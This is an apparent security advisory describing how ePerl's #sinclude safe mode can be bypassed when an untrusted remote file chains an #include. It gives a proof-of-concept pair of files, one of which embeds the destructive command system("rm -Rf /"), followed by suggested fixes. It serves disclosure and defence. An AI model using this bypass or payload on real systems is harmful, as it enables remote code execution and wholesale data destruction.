ePerl bug

ePerl allows the user to embed perl code (specified inside ePerl 
delimiters) in HTML.

ePerl has the ability to "safely" include untrusted files using the 
#sinclude directive.  The untrusted file is not supposed to be able 
to specify any perl code to run, but this safe mode can easily be 
circumvented.

The #sinclude directive operates by replacing the ePerl delimiters on
the untrusted file so that they are ignored during parsing.  The
problem is that it still follows the preprocessing directives, so
the untrusted file can then include another file while not in safe mode.

As an example, consider two files, one that we own and one that we sinclude:

File a:
-------------------------
Here is information from some other source:
#sinclude http://lala.com/untrusted.html
-------------------------

Now, #sinclude is supposed to keep lala.com from putting any perl code
in untrusted.html, but they still can, because they can do this:


File http://lala.com/untrusted.html:
-------------------------
Here is the exploit:
#include http://lala.com/untrusted2.html
-------------------------

File http://lala.com/untrusted2.html:
-------------------------
Any perl code we want...
<: system("rm -Rf /"); :>
-------------------------


Possible fixes:

1)  Temporarily turn off preprocessing when you enter an #sinclude file.
2)  Convert all #includes into #sincludes inside an #include file
3)  Move the delimiter replacement *into* the ePerl_PP_Process call
    as opposed to after it - in addition, ignore #if/elsif/else/endif
    and finally convert all #include to #sinclude
4)  Use the smaller and more secure ePerl replacement that's written in perl:
    http://MarginalHacks.com/Hacks/ePerl/

I prefer #3, personally, it's less limiting.  (Though I'm obviously a biased
fan of #4 as well :)